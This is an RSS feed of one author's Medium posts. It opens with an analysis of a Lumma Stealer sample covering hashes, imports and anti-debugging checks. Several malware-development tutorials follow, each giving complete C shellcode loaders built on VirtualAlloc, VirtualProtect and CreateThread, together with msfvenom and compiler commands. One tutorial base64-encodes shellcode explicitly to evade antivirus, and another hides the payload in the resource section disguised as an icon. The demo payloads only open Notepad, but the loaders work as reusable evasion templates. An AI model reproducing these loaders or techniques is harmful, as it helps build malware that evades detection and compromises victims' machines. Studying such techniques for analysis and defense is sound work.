<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Harsh Upadhyay on Medium]]></title>
        <description><![CDATA[Stories by Harsh Upadhyay on Medium]]></description>
        <link>https://medium.com/@yayharu?source=rss-e338b633bd2a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Eq8TmpIjS2Xx4SM-V5DNmQ.png</url>
            <title>Stories by Harsh Upadhyay on Medium</title>
            <link>https://medium.com/@yayharu?source=rss-e338b633bd2a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 23:07:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yayharu/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Lumma Malware]]></title>
            <link>https://medium.com/@yayharu/lumma-malware-defense-mechanism-5560c3ccf3fd?source=rss-e338b633bd2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5560c3ccf3fd</guid>
            <category><![CDATA[debugging]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[defense-mechanism]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Harsh Upadhyay]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 13:25:01 GMT</pubDate>
            <atom:updated>2024-09-05T15:08:35.927Z</atom:updated>
            <content:encoded><![CDATA[<p>Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor “Shamel”, who goes by the alias “Lumma”. Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim’s machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent “TeslaBrowser/5.5”.” The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jgiqdxHRQwb08e15r5yVKw.png" /></figure><p>The malware has been observed being used as Malware-as-a-Service (MaaS), which was seen on Russian-speaking forums starting around 2022. Once the malware infects the target host, it attempts to steal information from the endpoint and then exfiltrate it to the command and control server. See more information here: <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">Lumma Malware family</a></p><h3>Sample Info</h3><p>SHA256: f3546a0538a7b90ec1383c4f63d995ed9a725e6b791deb8e1a00d79ec1dd5203</p><p><a href="https://bazaar.abuse.ch/sample/f3546a0538a7b90ec1383c4f63d995ed9a725e6b791deb8e1a00d79ec1dd5203/">Link to Malware Sample</a></p><p>The malware is either embedded within the original software or designed to closely mimic it.<br>It has the icon of <a href="https://blisk.io/">Blisk</a>. By comparing the exe file of both it was seen that both have different file sizes, hashes and section hashes so there is less possibility of that being the same executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/0*Mv87uVv0mPhGogtg.png" /></figure><p>This 4D 5A represents its an PE file and it has entropy of 5.837 which means its not packed.<br>The file is of 32- bit architecture and has a description of Blisk Installer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/0*mtI6ILi-ruhYSyHR.png" /></figure><p>From analyzing the version it is seen that the file internal name is mini_intstaller. It has not been concluded if its a genuine part of blisk that they offer mini_installer version.</p><h3>Static Analysis</h3><p>Analyzing the PE file in PeStudio. There are plenty of indicators suggesting it is a malicious file.<br>There is a possibility it is also hooking some API for malicious purpose.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/0*TifhW_j-CSo_7h70.png" /></figure><p>file &gt; sha256,F3546A0538A7B90EC1383C4F63D995ED9A725E6B791DEB8E1A00D79EC1DD5203</p><p>dos-stub &gt; sha256,7764E7022DCAC1B5779D1F96FC05AF5C1FEE394AAFF8A3A7E9A881E1A1B163A3</p><p>dos-header &gt; sha256,BE230AD12D37DC1A36C390A71E02BD0D7AA00ACA531478715EC55F661D2C0A6D</p><p>section &gt; .text &gt; sha256,AB81CBC7C77E006898D15F2A940D2A4E3729A5456ADEF70C3C470FD71FA13C22</p><p>section &gt; .rdata &gt; sha256,E1CCAC7657EC4D125E6E5A287BCF841F5D2FC6ADDBCF12726F22CBD8172EEA4D</p><p>section &gt; .data &gt; sha256,A622D3D03263E89DCF1845FB6FA2E9D12BFD9151880BFD78E6FE25D4EC1CE1C4</p><p>section &gt; .idata &gt; sha256,6166E25F5487EFF0D4989AAE29738ECB7292BEEEE44681533B71A6803E59E4CD</p><p>section &gt; .reloc &gt; sha256,EEAB08DDA8506E8280AB14E0B82B0553578A149E7F50BA3898727070D27DE78D</p><p>section &gt; .symtab &gt; sha256,3E67F4A7D14B832FF2A2433E9CF0F6F5720821F67148A87C0EE2595A20C96C68</p><p>section &gt; .rsrc &gt; sha256,6EA0DC76CB06F11B1725C1B23142A1E38C8D9B0955F7E5DACF07CB3D5EBF98F7</p><p>version &gt; sha256,2E4C13E2B3EAD6A58BC460E6C00855938DDB64E08BBFF9373B1A572228473C6C</p><p>manifest &gt; sha256,B18903EDCF69B3C6002596C4CFF5E9D436233A77EFD5849E560DFFCD22BDA2CB</p><p>imphash &gt; md5,1AAE8BF580C846F39C71C05898E57E88</p><p>MITRE Techniques</p><p>+ — — — — — — — — — — — — — — — + — — — — — — — — — — +<br>| TA0005 | Defense Evasion | VirtualQuery |<br>| TA0002 | Execution | LoadLibrary |<br>| TA0007 | Discovery | GetSystemDirectory |<br>| TA0007 | Discovery | GetCurrentThreadId |<br>| TA0005 | Defense Evasion | rand |<br>| TA0011 | Command and Control | Encode |<br>+ — — — — — — — — — — — — — — — + — — — — — — — — — — +</p><p>Imports Table and their MITRE Technique</p><p>| SuspendThread | TA0005 | Defense Evasion | <br>| SetThreadContext | TA0005 | Defense Evasion | <br>| GetEnvironmentStringsW | — | <br>| GetCurrentThreadId | TA0007 | Discovery | <br>| AddVectoredExceptionHandler | — | <br>| SetConsoleCtrlHandler | — | <br>| WaitForMultipleObjects | — | <br>| WaitForSingleObject | — | <br>| SetWaitableTimer | — | <br>| SetEvent | — | <br>| CreateWaitableTimerExW | — | <br>| CreateEventA | — | <br>| GetSystemDirectoryA | TA0007 | Discovery | <br>| VirtualFree | TA0005 | Defense Evasion | <br>| PostQueuedCompletionStatus | — | <br>| GetQueuedCompletionStatusEx | — | <br>| TlsAlloc | — | <br>| SetProcessPriorityBoost | — | <br>| ResumeThread | TA0005 | Defense Evasion | <br>| GetProcessAffinityMask | — | <br>| FreeEnvironmentStringsW | — | <br>| ExitProcess | — | <br>| CreateThread | — | <br>| SetUnhandledExceptionFilter | — | <br>| LoadLibraryW | TA0002 | Execution | <br>| LoadLibraryExW | TA0002 | Execution | <br>| GetProcAddress | — | <br>| CreateIoCompletionPort | — | <br>| WriteConsoleW | — | <br>| GetStdHandle | — | <br>| GetConsoleMode | — | <br>| WerSetFlags | — | <br>| WerGetFlags | — | <br>| VirtualQuery | — | <br>| SetErrorMode | — | <br>| RaiseFailFastException | — | <br>| GetSystemInfo | — | <br>| GetErrorMode | — | <br>| DuplicateHandle | — | <br>| CloseHandle | — |</p><p>It has various strings related to HTTP which is a possibility it works as a C2 by connecting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Pxu8JR6Cmyk6QYAc.png" /></figure><p>Maybe it is connecting to an AWS instance which is acting as a proxy VM for C2 purpose.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5-lQ24LdOIcl9iOs.png" /></figure><h3>Analysis of sample in IDA</h3><p>From the information acquired from PeStudio imports. The import LoadLibraryExW, As it loads the specified module into the address space of the calling process. The specified module may cause other modules to be loaded.</p><p>Usually malwares uses LoadLibrary to evade static analysis during the initial investigation phase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Il1sn3izRPvtenGf.png" /></figure><p>Here it is loading bcryptprimitives.dll and the function ProcessPrng from it</p><p>It is also loading ntdll.dll and getting NtCreateWaitCompletionPacket, NtAssociateWaitCompletionPacket, NtCancelWaitCompletionPacket, RtlGetVersion, RtlGetCurrentPeb,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5dYnWNnEPKf7khJz.png" /></figure><p>This is the whole flow which loads the DLLs and functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*xTtZJygUZvznsyXG.png" /></figure><h3><strong>Dynamic Analysis</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Wqu_fF67jahgX8HT.png" /></figure><p>Its importing powrprof.dll to enumerate power plans. Maybe to check if its sandboxed or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ot992woXuHuN9B-6.png" /></figure><p>Using OpenThreadToken for Access Token Manipulation (ATT&amp;CK technique: T1134). It&#39;s also using GetEnvironmentVariable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gEVX4Ww4ytxUnpx3.png" /></figure><p>WS2_32.dll, which is a networking dll. A malware that accesses this library is likely to connect and perform network related tasks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iNXsN0yjMfqBARJy.png" /></figure><p>NtProtectVirtualMemory Changes the memory permissions of a page in the current or a remote process.</p><p>This malware is trying to re-initialize the permission of memory allocated using NtProtectVirtualMemory. This is an undocumented API of Windows.</p><p>The malware is here trying to query different debuggers and analysis tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qXt0dCw6xeB7qiec.png" /></figure><p>Looking for string references of that particular module its revealed that it contains</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JQYEn4fsaOS-gPfp.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NiB8atyULrkLzFpT.png" /></figure><p>Here it shows all the tools like IDA, ollydbg, x32dbg, x64dbg, windbg, immunity debugger, scylla, obsidian, zeta debugger, procmon, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KkM9om4EsN4s96sc.png" /></figure><p>Here its seen that it is also hooking various API functions.</p><p>After detecting the debugger it is freeing the virtual memory using ZwFreeVirtualMemory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y4GXSOBEkmFfukN9.png" /></figure><p>The ZwFreeVirtualMemory routine releases, decommits, or both, a region of pages within the virtual address space of a specified process.</p><h3>Conclusion</h3><p>This is the internal defense mechanism of Lumma malware. I will be bypassing anti-debugging mechanism later on to reveal its true potential.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5560c3ccf3fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Encoding Shellcode with Base64]]></title>
            <link>https://medium.com/@yayharu/encoding-shellcode-with-base64-ad4df9e0d5f1?source=rss-e338b633bd2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad4df9e0d5f1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[shellcode]]></category>
            <dc:creator><![CDATA[Harsh Upadhyay]]></dc:creator>
            <pubDate>Wed, 17 Jul 2024 12:39:49 GMT</pubDate>
            <atom:updated>2024-07-17T12:39:49.364Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>The purpose to encode shellcode is to hide shellcode from AV Engine or Reverse Engineers.<br> It will make it difficult for them to use binary matching or pattern matching string.</p><p>Encoding is to transform data into another format which is publicly available.</p><p>A key is not needed to decode Base64 ( It is not encryption, Its encoding).</p><p>Encryption needs a key to encrypt data into cipher text and to decrypt it needs a key.</p><p>Here a simple notepad shellcode is generated and encoded with Base64.</p><h3>Generating Payload with msfvenom</h3><pre>msfvenom -p windows/x64/exec CMD=&quot;notepad.exe&quot; -f raw -o notepad.bin</pre><ul><li>msfvenom: The tool used to create and encode the payload.</li><li>-p windows/x64/exec: Specifies the payload type, which in this case is an executable payload for Windows x64 systems.</li><li>CMD=&quot;notepad.exe&quot;: The command to be executed when the payload runs. Here, it will open Notepad.</li><li>-f raw: Specifies the format of the output file, which is raw binary in this case.</li><li>-o notepad.bin: Specifies the output file name, which will be notepad.bin.</li></ul><p>Using certutil to encode with base64</p><pre>certutil -encode notepad.bin notepad.b64</pre><h3>Developing the Malware</h3><pre>#include&lt;stdio.h&gt;<br>#include&lt;windows.h&gt;<br>#include&lt;stdlib.h&gt;<br>#include&lt;string.h&gt;<br>#include&lt;Wincrypt.h&gt;<br>#pragma comment (lib, &quot;Crypt32.lib&quot;)<br><br>unsigned char notepad_payload[] = &quot;/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI / 8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg + wgQVL / 4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v / Vbm90ZXBhZC5leGUA&quot;;<br>unsigned int notepad_len = sizeof(notepad_payload);<br><br>int DecodeBase64(const BYTE* src, unsigned int srcLen, char* dst, unsigned dstLen) //Uses crypting library<br>{<br> DWORD outLen;<br> BOOL fRet;<br><br> outLen = dstLen;<br><br> fRet = CryptStringToBinaryA((LPCSTR)src, srcLen, CRYPT_STRING_BASE64, (BYTE*)dst, &amp;outLen, NULL, NULL);<br> <br> if (!fRet) outLen = 0;<br><br> return(outLen);<br>}<br><br>int main(void) {<br><br> void* pMEM;<br> BOOL virtualProtectReturnValue;<br> DWORD oldflprotect = 0;<br> HANDLE returnHandle;<br> <br> pMEM = VirtualAlloc(0, notepad_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> printf(&quot;%-20s : 0x%-106p\n&quot;, &quot;Payload Address &quot;, (void*)notepad_payload);<br> printf(&quot;%-20s : 0x%-106p\n&quot;, &quot;pMEM Address &quot;, (void*)pMEM);<br><br> printf(&quot;Press Key&quot;);<br> getchar();<br><br> //RtlMoveMemory(pMEM, notepad_payload, notepad_len);<br> DecodeBase64((const BYTE*)notepad_payload, notepad_len, (char*)pMEM, notepad_len);<br><br> virtualProtectReturnValue = VirtualProtect(pMEM, notepad_len, PAGE_EXECUTE_READ, &amp;oldflprotect);<br><br> printf(&quot;press \n&quot;);<br><br> getchar();<br><br> if (virtualProtectReturnValue != 0)<br> {<br>  returnHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)pMEM, 0, 0, 0);<br>  WaitForSingleObject(returnHandle, -1);<br> }<br> return 0;<br>}</pre><ol><li>Includes necessary headers: stdio.h, windows.h, stdlib.h, string.h, and Wincrypt.h (for cryptography functions).</li><li>Declares a global array notepad_payload containing a Base64-encoded payload.</li><li>Calculates the length of the notepad_payload array using sizeof().</li><li>Defines a function DecodeBase64() that takes a Base64-encoded string, its length, and a destination buffer, and decodes the string using the Cryptography API (CAPI).</li><li>In the main() function:</li></ol><ul><li>Allocates memory for the payload using VirtualAlloc(), which maps the memory to the page file and reserves space.</li><li>Prints the addresses of the original payload and the allocated memory.</li><li>Waits for a key press using getchar().</li><li>Decodes the Base64-encoded payload using DecodeBase64() and stores it in the allocated memory.</li><li>Changes the protection on the allocated memory to allow execution using VirtualProtect().</li><li>Prints another message and waits for another key press.</li><li>Creates a new thread that runs the decoded payload as an executable using CreateThread() and WaitForSingleObject().</li></ul><h3>Execution</h3><p>The Malware will run and show the addresses of payload address and the allocated memory address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*ytZvmCPwjpEvW5hS1IQcjQ.png" /></figure><p>The first Payload Address - 0x000001B27D500000</p><p>This is the payload in base64 format</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*v9QXphdZdMzzAGNecoUCHw.png" /></figure><p>The second Allocated Memory address<br> This is the decoded shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*TqunomaW9hc93neeOXxvgA.png" /></figure><h3>Conclusion</h3><p>In conclusion, this C++ program demonstrates the use of Base64 encoding to conceal malicious code, making it difficult for security software to detect. The importance of Base64 encoding in malware development lies in its ability to obfuscate malicious payloads, allowing attackers to evade detection and avoid being flagged as suspicious activity.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad4df9e0d5f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Payload in Resource Section]]></title>
            <link>https://medium.com/@yayharu/malware-payload-in-resource-section-6e1e7e7971a4?source=rss-e338b633bd2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e1e7e7971a4</guid>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[development]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Harsh Upadhyay]]></dc:creator>
            <pubDate>Sun, 23 Jun 2024 11:12:32 GMT</pubDate>
            <atom:updated>2024-06-23T11:12:32.517Z</atom:updated>
            <content:encoded><![CDATA[<h3>Why is Resource Section Important</h3><p>The resource section is like a hidden pocket in the malware’s backpack, where malware developers can secretly store vital tools and tricks. They hide extra pieces of harmful code, settings, and even fake images or text messages here.<br> This sneaky hiding spot helps the malware dodge antivirus software and adapt to different situations without getting caught. It’s like a secret compartment that lets the malware change and update itself quietly, making it tougher to detect and remove. For hackers, this hidden pocket is essential for creating malware that’s smart, adaptable, and hard to pin down, causing trouble while staying out of sight.<br> Saving the payload in the.rsrc section is one of the best options as this is where most real-world binaries save their data. It is also a cleaner method for malware authors, since larger payloads cannot be stored in the .data or .rdata sections due to size limits, leading to errors from Visual Studio during compilation.</p><h3>Malware Development Strategy</h3><p>Develop a payload with msfvenom to open notepad<br> A malware which will embed the payload<br> Compiling the malware with payload</p><h3>Generating Payload with msfvenom</h3><pre>msfvenom -p windows/x64/exec CMD=&quot;notepad.exe&quot; -f raw -o notepad.bin</pre><ul><li>msfvenom: The tool used to create and encode the payload.</li><li>-p windows/x64/exec: Specifies the payload type, which in this case is an executable payload for Windows x64 systems.</li><li>CMD=&quot;notepad.exe&quot;: The command to be executed when the payload runs. Here, it will open Notepad.</li><li>-f raw: Specifies the format of the output file, which is raw binary in this case.</li><li>-o notepad.bin: Specifies the output file name, which will be notepad.bin.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/0*RkLkcxDJ2zwkQpkk.png" /></figure><p>Copy the file to the Malware Development VM and change extension to .ico.</p><p>Create a resources.rc file</p><pre>#include &quot;resources.h&quot; FAVICON_ICO RCDATA notepad.ico</pre><p>Create another file resources.h</p><pre>#define FAVICON_ICO 100</pre><h3>Developing Malware</h3><pre>#include&lt;stdio.h&gt;<br>#include&lt;stdlib.h&gt;<br>#include&lt;string.h&gt;<br>#include&lt;windows.h&gt;<br>#include &quot;resources.h&quot;<br><br>int main(void)<br>{<br> void* pMEM;<br> BOOL virtualProtectReturnValue;<br> HANDLE handleReturn;<br> DWORD oldflprotect = 0;<br> HGLOBAL resHandle = NULL;<br> HRSRC res;<br><br> unsigned char * payload;<br> unsigned int payload_len;<br><br> res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);<br> resHandle = LoadResource(NULL, res);<br> payload = (unsigned char *)LockResource(resHandle);<br> payload_len = SizeofResource(NULL, res);<br><br> pMEM = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> printf(&quot;0x%p\n&quot;, &quot;PAYLOAD ADDRESS&quot;, (void*)payload);<br> printf(&quot;0x%p\n&quot;, &quot;pMEM ADDRESS&quot;, (void*)pMEM);<br><br> RtlMoveMemory(pMEM, payload, payload_len);<br><br> virtualProtectReturnValue = VirtualProtect(pMEM, payload_len, PAGE_EXECUTE_READ, &amp;oldflprotect);<br><br> printf(&quot;press&quot;);<br><br> getchar();<br><br> if (virtualProtectReturnValue != 0)<br> {<br>  handleReturn = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)pMEM, 0, 0, 0);<br>  WaitForSingleObject(handleReturn, -1);<br> }<br><br> return 0;<br><br>}</pre><p>The stdio.h header file in C provides the standard input and output library functions, such as printf, scanf, fopen, and fclose, which are essential for performing input and output operations.</p><p>The stdlib.h header file in C provides functions for memory allocation, process control, conversions, and others, including malloc, free, exit, and atoi.</p><p>The string.h header file in C provides functions for manipulating arrays of characters or strings, including operations like copying, concatenation, comparison, and searching, using functions such as strcpy, strcat, strcmp, and strstr.</p><p>Certainly! Here’s a concise example of functions provided by windows.h:</p><p>windows.h in C/C++ provides declarations for functions like CreateWindow, SendMessage, CreateFile, and more, crucial for developing native Windows applications with access to system-level functionality.</p><p>resources.h typically contains declarations and definitions related to managing and accessing resources like files, images, or other assets within a specific software project or framework.</p><h3>2. Variables:</h3><p>pMEM: Void pointer for allocated memory.<br>virtualProtectReturnValue: Result of VirtualProtect function.<br>handleReturn: Handle for the created thread.<br>oldflprotect: Stores previous memory protection settings.<br>resHandle and res: Handles for resource loading.</p><h3>3. Resource Handling:</h3><p>FindResource, LoadResource, and LockResource locate and load the resource ( FAVICON_ICO of type RT_RCDATA) into payload.</p><h3>4. Memory Operations:</h3><p>VirtualAlloc allocates memory with MEM_COMMIT | MEM_RESERVE attributes.<br>RtlMoveMemory copies payload to pMEM.</p><h3>5. Memory Protection:</h3><p>VirtualProtect changes pMEM&#39;s protection to PAGE_EXECUTE_READ.</p><h3>6. Compiling the Malware</h3><pre>rc resources.rc</pre><p>rc resources.rc is used to compile a resource script file ( resources.rc) into a binary resource file ( resources.res) that can be later linked with a Windows executable to incorporate additional resources.</p><pre>cvtres /MACHINE:x64 /OUT:resources.o resources.res</pre><p>This command would take resources.res, convert it to an object file ( resources.o) suitable for 64-bit Windows applications, and place it in the current directory or as specified by the /OUT option. This object file can then be linked with C/C++ application during the build process to incorporate the resources into the executable.</p><pre>cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcpayload-resrc.cpp /link /OUT:pay-data.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o</pre><ul><li>cl.exe: The Microsoft C/C++ compiler.</li><li>/nologo: Suppresses displaying of the copyright and version information.</li><li>/Ox: Enables maximum optimization.</li><li>/MT: Links the application with the multi-threaded static runtime library (/MT for release builds).</li><li>/W0: Disables all warnings (/W0 suppresses all warnings).</li><li>/GS-: Disables buffer security checks.</li><li>/DNDEBUG: Defines the NDEBUG macro, disabling debug assertions.</li><li>/Tcpayload-resrc.cpp: Specifies the source file (payload-resrc.cpp) to compile.</li><li>/link: Indicates that subsequent arguments are passed to the linker.</li><li>/OUT:pay-data.exe: Specifies the output file name (pay-data.exe).</li><li>/SUBSYSTEM:CONSOLE: Specifies that the application is a console subsystem application.</li><li>/MACHINE:x64: Specifies the target machine architecture as x64.</li><li>resources.o: Specifies the object file containing resources (resources.o) to be linked into the executable.</li></ul><h3>6. Execution:</h3><p>Prompts user to press Enter to execute the payload.<br> Creates a new thread ( CreateThread) with pMEM as the start routine.<br> Waits indefinitely ( WaitForSingleObject) for thread completion</p><p>This program showcases loading and executing a binary payload from a resource, which is a common technique in software development and malware analysis contexts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/0*ewDFCIKHGeTMvq4f.png" /></figure><p>Now the shellcode is execute which was made to open notepad.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/0*xVvG8vGwYDbZOOTH.png" /></figure><h3>Conclusion</h3><p>This is a common and effective way to add shellcode into a program.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e1e7e7971a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Payload in Data Section]]></title>
            <link>https://medium.com/@yayharu/malware-payload-in-data-section-5d8e2849ecf5?source=rss-e338b633bd2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d8e2849ecf5</guid>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[development]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Harsh Upadhyay]]></dc:creator>
            <pubDate>Sun, 23 Jun 2024 11:02:27 GMT</pubDate>
            <atom:updated>2024-06-23T11:02:47.374Z</atom:updated>
            <content:encoded><![CDATA[<p>A payload is usually stored within the Sections.</p><ul><li>.text</li><li>.data</li><li>.rsrc</li></ul><h3>.data</h3><p>This is the most common way to store payload in a PE file.<br> Here the malicious code is added into the program as a global variable.</p><pre>#include&lt;stdio.h&gt;<br>#include&lt;stdlib.h&gt;<br>#include&lt;windows.h&gt;<br>#include&lt;string.h&gt;<br><br>unsigned char payload[] = {<br> 0x90,<br> 0x90,<br> 0xcc,<br> 0xcc<br>};<br>unsigned int payloadLength = sizeof(payload);<br><br>int main(void)<br>{<br> void* pMEM;<br> BOOL virtualProtectReturnValue;<br> HANDLE handleReturn;<br> DWORD flprotect = 0;<br><br> pMEM = VirtualAlloc(0, payloadLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> printf(&quot;0x%p\n&quot;, &quot;PAYLOAD ADDRESS&quot;, (void*)payload);<br> printf(&quot;0x%p\n&quot;, &quot;pMEM ADDRESS&quot;, (void*)pMEM);<br><br> RtlMoveMemory(pMEM, payload, payloadLength);<br><br> virtualProtectReturnValue = VirtualProtect(pMEM, payloadLength, PAGE_EXECUTE_READ, &amp;flprotect);<br><br> printf(&quot;press&quot;);<br><br> getchar();<br><br> if (virtualProtectReturnValue != 0)<br> {<br>  handleReturn = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)pMEM, 0, 0, 0);<br>  WaitForSingleObject(handleReturn, -1);<br> }<br><br> return 0;<br><br>}</pre><p>These headers are included for standard I/O functions, Windows API functions, and memory handling functions.</p><p>The main function begins here. It contains all the logic for memory allocation, protection, and execution.</p><p>Variable Declarations</p><ul><li>Pmem: Pointer to the allocated memory.</li><li>Virtual_Protect_Return_Value: Stores the return value of the VirtualProtect function.</li><li>Handle_Return: Stores the handle of the created thread.</li><li>flprotect: Stores the old protection attributes of the allocated memory.</li><li>payload: Array containing the machine code to be executed.</li><li>payload_len: Length of the payload (in this case, 4 bytes).</li></ul><h3>Payload</h3><ul><li>The Payload consists of NOP, INT3, and RET instructions.</li><li>NOP means No Operation</li><li>INT3 is used to for debugging, It works like a breakpoint.</li><li>RET is used for return.</li></ul><p>Allocating Memory</p><ul><li>VirtualAlloc is used to allocate a region of memory with MEM_COMMIT and MEM_RESERVE flags, specifying PAGE_READWRITE protection.</li><li>The address of the payload and the allocated memory (Pmem) are printed.</li></ul><h3>Copying Payload to Allocated Memory</h3><ul><li>RtlMoveMemory copies the payload to the allocated memory.</li></ul><h3>Changing Memory Protection</h3><ul><li>VirtualProtect changes the protection of the allocated memory to PAGE_EXECUTE_READWRITE, allowing execution of the code.</li><li>The previous protection attributes are stored in flprotect.</li></ul><p>The program waits for user input before proceeding, giving time to attach a debugger if needed.</p><h3>Creating and Executing a Thread</h3><ul><li>If VirtualProtect succeeded, a thread is created with CreateThread, starting execution at the Pmem address.</li><li>WaitForSingleObject waits indefinitely for the created thread to complete.</li></ul><p>The reason for not giving all the permission of read, write and execute in VirtualAlloc as it is abnormal for programs and AV Engine will mark or suspend the program immediately.</p><h3>Debugging</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/0*zVeSEaC2q70meDen.png" /></figure><h3>Conclusion</h3><p>This is how malwares store shellcodes in data section of programs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d8e2849ecf5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Payload in Text Section]]></title>
            <link>https://medium.com/@yayharu/malware-payload-in-text-section-1e1f6888e962?source=rss-e338b633bd2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e1f6888e962</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Harsh Upadhyay]]></dc:creator>
            <pubDate>Sat, 22 Jun 2024 05:06:37 GMT</pubDate>
            <atom:updated>2024-06-22T05:35:36.910Z</atom:updated>
